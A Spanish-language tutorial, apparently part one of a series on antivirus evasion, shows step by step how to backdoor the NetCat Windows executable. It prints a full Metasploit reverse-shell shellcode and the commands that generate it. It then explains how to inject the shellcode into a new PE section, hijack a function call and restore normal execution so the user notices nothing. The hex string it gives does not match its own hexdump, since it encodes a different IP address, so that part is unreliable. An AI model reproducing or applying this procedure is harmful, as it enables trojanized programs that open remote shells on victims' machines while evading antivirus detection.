Cuando se habla de brincarse las restricciones de seguridad que implementan los controles tecnológicos tales como antivirus, IPS, firewall, se puede llegar a pensar en artes oscuras que están fuera de nuestro alcance, sin embargo no es así; como parte de una serie de artículos pretendo abordar cómo es posible evadir software antivirus mediante la ejecución de técnicas de codificación.

El alcance de esta primera sección es mostrar cómo es posible en un archivo ejecutable portable (PE, por sus siglas en inglés) agregar código malicioso que será ejecutado como parte del flujo normal del programa, sin que el usuario lo identifique.

El formato PE es un formato de archivo ejecutable de 32 o 64 bits usado en sistemas operativos Windows, cuyo propósito es ser ejecutado de manera portable en las diversas versiones del sistema operativo simplemente copiando el archivo con extensión exe, SYS, DLL, scr, etcétera.

La estructura de un PE se muestra en la siguiente imagen:

.

Como se puede observar, un PE contiene diversas partes como los encabezados y secciones, las cuales son una liga dinámica del mapa del archivo en memoria; por ejemplo, la sección .data contiene las variables globales del programa.–Para un mayor detalle se puede revisar la documentación de Microsoft 1. —

Para este caso utilizaremos en PE de NetCat, una herramienta muy común en el ámbito de la seguridad informática, la cual permite el manejo de conexiones de red de TCP/IP.  Por defecto esta herramienta es detectada como peligrosa por la mayoría de los antivirus. En la siguiente imagen se muestra cómo la ven algunos antivirus (se puede consultar la lista completa en la liga de Virus Total http://bit.ly/lT63PH).

Por defecto NetCat no contiene algún código malicioso, sin embargo por su naturaleza es clasificada como una amenaza.

Lo que se hará es modificar el PE original insertando una serie de sentencias que hacen que el equipo donde se ejecuta –en este caso el NetCat modificado–haga una conexión remota a un equipo y ofrezca un command prompt (cmd); a esto comúnmente se le conoce como reverse shell.

Para lograr lo anterior se utilizarán diversas herramientas libres que se listan a continuación:

  • LordPEDeluxe: Herramienta que permite realizar el volcado de la memoria de un programa o proceso, modificar y obtener
    información de los encabezados y secciones de un PE.
  • XVI32: Editor hexadecimal.
  • ImmunityDebugger: Herramienta que permite realizar el análisis e ingeniería inversa de archivos binarios como son los PE.
  • Metasploit: Framework de explotación de vulnerabilidades.

El primer paso es generar nuestro código malicioso – en este caso un reverse shell— con una de las herramientas de Metasploit llamada msfpayload, que hace posible la administración  y manipulación de los payloads que maneja Metasploit.

Desde una línea de comando se ejecuta lo siguiente:

.

./msfpayload windows/shell_reverse_tcp  LHOST=10.10.10.10 LPORT=6666 R | hexdump –C
00000000 fc e8 89 00 00 00 60 89  e5 31 d264 8b 52 30 8b   |......`..1.d.R0.|
00000010 52 0c 8b 52 14 8b 72 28  0f b7 4a 26 31 ff 31 c0  |R..R..r(..J&1.1.|
00000020 ac 3c 61 7c 02 2c 20 c1  cf 0d 01 c7 e2 f0 52 57  |.<a|., .......RW|
00000030 8b 52 10 8b 42 3c 01 d0  8b 40 78 85 c0 74 4a 01  |.R..B<[email protected].|
00000040 d0 50 8b 48 18 8b 58 20  01 d3 e3 3c 49 8b 34 8b  |.P.H..X ...<I.4.|
00000050 01 d6 31 ff 31 c0 ac c1  cf 0d 01 c7 38 e0 75 f4  |..1.1.......8.u.|
00000060 03 7d f8 3b 7d 24 75 e2  58 8b 58 24 01 d3 66 8b  |.}.;}$u.X.X$..f.|
00000070 0c 4b 8b 58 1c 01 d3 8b  04 8b 01 d0 89 44 24 24  |.K.X.........D$$|
00000080 5b 5b 61 59 5a 51 ff e0  58 5f 5a 8b 12 eb 86 5d  |[[aYZQ..X_Z....]|
00000090 68 33 32 00 00 68 77 73  32 5f 54 68 4c 77 26 07  |h32..hws2_ThLw&.|
000000a0 ff d5 b8 90 01 00 00 29  c4 54 50 68 29 80 6b 00  |.......).TPh).k.|
000000b0 ff d5 50 50 50 50 40 50  40 50 68 ea 0f df e0 ff  |..PPPP@P@Ph.....|
000000c0 d5 89 c7 68 0a 0a 0a 0a  68 02 00 1a 0a 89 e6 6a  |...h....h......j|
000000d0 10 56 57 68 99 a5 74 61  ff d5 68 63 6d 64 00 89  |.VWh..ta..hcmd..|
000000e0 e3 57 57 57 31 f6 6a 12  59 56 e2 fd 66 c7 44 24  |.WWW1.j.YV..f.D$|
000000f0 3c 01 01 8d 44 24 10 c6  00 44 54 50 56 56 56 46  |<...D$...DTPVVVF|
00000100 56 4e 56 56 53 56 68 79  cc 3f 86 ff d5 89 e0 4e  |VNVVSVhy.?.....N|
00000110 56 46 ff 30 68 08 87 1d  60 ff d5 bb f0 b5 a2 56  |VF.0h...`......V|
00000120 68 a6 95 bd 9d ff d5 3c  06 7c 0a 80 fb e0 75 05  |h......<.|....u.|
00000130 bb 47 13 72 6f 6a 00 53  ff d5                    |.G.roj.S..|
0000013a

La salida es el código en hexadecimal que realiza una conexión inversa a la IP 10.10.10.10 puerto 6666; este código es el que vamos a usar para inyectar en el PE nc. Para facilitar el manejo de este código utilizamos la siguiente sentencia:

.

bash-3.2# ./msfpayload windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=6666 R | hexdump -C | grep -v 13a |cut -d» » -f3-19 |sed ‘s/ //g’| tr -d\n’fce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617c022c20c1cf0d01c7e2f052578b52108b423c01d08b407885c0744a01d0508b48188b582001d3e33c498b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d2475e2588

b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12eb865d6833320000687773325f54684c772607ffd5

b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd589c768ac1428686802001a0a89e66a1056576899a57461ffd568

636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff30

6808871d60ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5

  • grep -v 13a : así quitamos la línea donde aparece la dirección 0000013a, la cual es una línea vacía en la salida del payload.
  • cut -d» » -f3-19: con esto recortamos solo las columnas 3 a 19 de los datos que nos da el payload.
  • sed ‘s/ //g’ : para quitar los espacios.
  • tr -d ‘\n’ : de este modo nos deshacemos de los saltos de línea.

Al contar ya con el código que vamos a usar, lo siguiente es inyectarlo en el programa nc; para lograrlo crearemos una nueva sección en el PE a través de LordPE.

Como se puede apreciar en la imagen, el archivo contiene tres secciones .text, .rdata, .data; al final de estas, se agregó una nueva llamada .Nueva y se le dio el tamaño de 4096 bytes, además se configuró y marco que ahí va existir código ejecutable.

Al guardar estos cambios en el archivo, este deja de funcionar ya que existe una sección que se encuentra sin datos. Si ejecutáramos este programa nos marcaría el siguiente error:

Para corregirlo se agregan datos a esta nueva sección por medio del editor hexadecimal, se abre el nuevo archivo nc y al final del mismo se agregan los datos tal como la imagen lo muestra— es aquí donde se creó nuestra nueva sección—y agregamos los datos nulos.

Ahora ya se cuenta con un archivo PE que contiene una nueva sección de 4096 bytes, en la cual insertaremos nuestro código; para lograr esto tenemos que analizar el comportamiento del PE y modificar el flujo original del programa, como se ilustra en la siguiente imagen:

Para modificar el flujo normal del programa y direccionarlo a nuestro shellcode, se utiliza un debbuger; lo primero es abrir el programa con ImmunityDebbuger y revisar la memoria para buscar dónde se encuentra nuestra sección.

El siguiente paso es ejecutar el programa y modificar su flujo.

Un buen lugar para modificar el flujo de un programa son las llamadas a funciones; lo primero que se hace es copiar estos registros, los cuales se usarán más adelante para regresar el programa a su flujo original. En nuestro caso los datos son:

00404ACA   . E8  69030000    CALL nc.00404E38

00404ACF   . BF 94000000    MOV EDI,94

Lo siguiente es cambiar la llamada a función por un salto (JUMP) al segmento de memoria donde inicia nuestra sección (en este caso OO41OOOO) y donde se colocará el shellcode.

Con este pequeño cambio se ha modificado el flujo del programa y ahora se cuenta con el control del mismo; ahora guardaremos el estado de los registros de la pila de ejecución del programa para garantizar que se mantendrá la estabilidad del flujo original; esto se logra agregando dos sentencias al inicio del espacio de memoria:

PUSHAD 2: Permite meter a la pila los valores actuales de los registros de propósito general.

PUSPF 3: Permite meter a la pila el valor del registro de banderas.

Ahora copiemos en los siguientes registros nuestro shellcode:

El shellcode pegado se verá así:

Se ha conseguido ya modificar el flujo del programa original, enviarlo a nuestra sección y se ha insertado el shellcode.

Nota: siempre que hagamos un cambio en el PE se debe guardar seleccionando los cambios y dando click derecho ->Copy to executable->Selection; esto abrirá un nuevo apartado en el cual “damos guardar” con lo que se genera un nuevo exe.

En este momento requerimos saber si el flujo del shellcode puede causar una condición en la que el PE caiga en un ciclo infinito que no le
permita salir de él; esta condición sucede por dos razones diferentes:

El shellcode hace alguna llamada a una función del sistema operativo que puede dejarlo en esta condición.

El mismo flujo del shellcode es recursivo y siempre lo regresa al principio.

Para comprobar si esto sucede lo más fácil es poner un breakpoint al final del shellcode y ejecutar el programa.

Al terminar de colocar el breakpoint ponemos, en el equipo que va a recibir la conexión inversa, un socket a la escucha; lo podemos hacer con el mismo NetCat con el siguiente comando nc -lvvn 6666, así aprovecharemos para probar el funcionamiento de nuestro shellcode.

Si después de ejecutar el programa este continúa corriendo y, además, tenemos un prompt en el equipo remoto que no se ha pausado a causa de nuestro breakpoint, quiere decir que el shellcode está en una condición de ciclo infinito el cual debemos evitar, ya que si no lo hacemos nunca podremos regresar el flujo de programa a su forma inicial.

La primera condición de ciclo la vamos a quitar buscando en qué momento nuestro shellcode hace llamada a la función “WaitForSingleObject 4”, la cual es una función que se llama cuando se abre un socket en un equipo, por defecto se envía el parámetro “-1” —  o en hexadecimal FFFFFFFF—lo cual pone la ejecución del shellcode en un ciclo hasta que se cierre la conexión inversa. Para poder detectar esto se tiene que ejecutar paso a paso el shellcode y validar en qué momento se llama la función. La siguiente imagen  ilustra lo anterior:

Nota: Les aconsejo buscar la instrucción JMP EAX,  ahí colocar un breakpoint y observar cómo va haciendo la llamada a las diferentes funciones al ejecutar el programa con F7”

Como se puede advertir, antes de la llamada a la función que buscamos se hace una llamada a “CreateProcessA”; se vuelve a ejecutar el programa, se coloca un breakpoint en la misma instrucción y al hacer la llamada a la función “CreateProcessA” se ejecutará paso a paso (con F7); esto con el fin de identificar en qué momento se establece el valor de -1 que será enviado como parámetro a la función “WaitForSingleObject”

Al detectar esta sentencia solamente se cambia por un NOP(No Operation).

Por medio de este pequeño cambio se ha logrado suprimir el primer ciclo, ahora se tiene que comprobar si el propio código del shellcode no hace una llamada a sí mismo que lo lleve a esta condición. Nuevamente es necesario que ejecutar el shellcodepaso a paso.

Esta instrucción CALL EBP reinicia la ejecución del shellcode (para evitar que se cree la condición de ciclo a partir de esta función y restaurar el flujo original de nuestro programa, es necesario modificar el código a partir de dicha instrucción).

Lo primero es comprobar los valores del registro ESP cuando inició la ejecución del shellcode y su valor al finalizar.

Como se observa, los valores son distintos, sin embargo es necesario restaurar el valor de ESP, lo cual se consigue al conocer la diferencia entre los valores 0012FF60 – 0012FD60 = 200 y aplicando los siguientes pasos:

  • Agregar 512 bytes al valor de ESP para restaurarlo.
  • Sacar de la pila los valores que almacenamos; esto se logra agregando POPFD y POPAD.
  • Agregar las dos instrucciones que se modificaron al inicio del PE original con el fin de alterar el flujo.

Con estos últimos cambios se ha  regresado el flujo del programa a su estado inicial, por tal razón se cuenta con un PE que es direccionado a código malicioso sin perder su funcionalidad.

Al analizar este nuevo PE con software antivirus se encuentra algo interesante:

Algunos antivirus lo comienzan a detectar como backdoor y no como NetCat; sin embargo lo más preocupante es que existen todavía algunos antivirus que no han dado cuenta del código malicioso 5.

¿Cómo hacen los antivirus para detectar código malicioso? ¿Es posible brincarse un antivirus? Preguntas como las anteriores serán abordadas en la siguiente parte de este artículo.

Nota: Las condiciones de ciclo que se vieron durante el artículo solo se presentan cuando se usa Metasploit como generador del shellcode.

.

Continuará…

.

[email protected]

Referencias:

[1]PeeringInsidethe PE http://msdn.microsoft.com/en-us/library/ms809762.aspx

2 http://web-ext.u-aizu.ac.jp/~benab/classes/cse/doc/x86/DDU0117.html

3 http://web-ext.u-aizu.ac.jp/~benab/classes/cse/doc/x86/DDU0118.html

4 http://msdn.microsoft.com/en-us/library/ms687032(v=vs.85).aspx

5 http://bit.ly/iLEiDR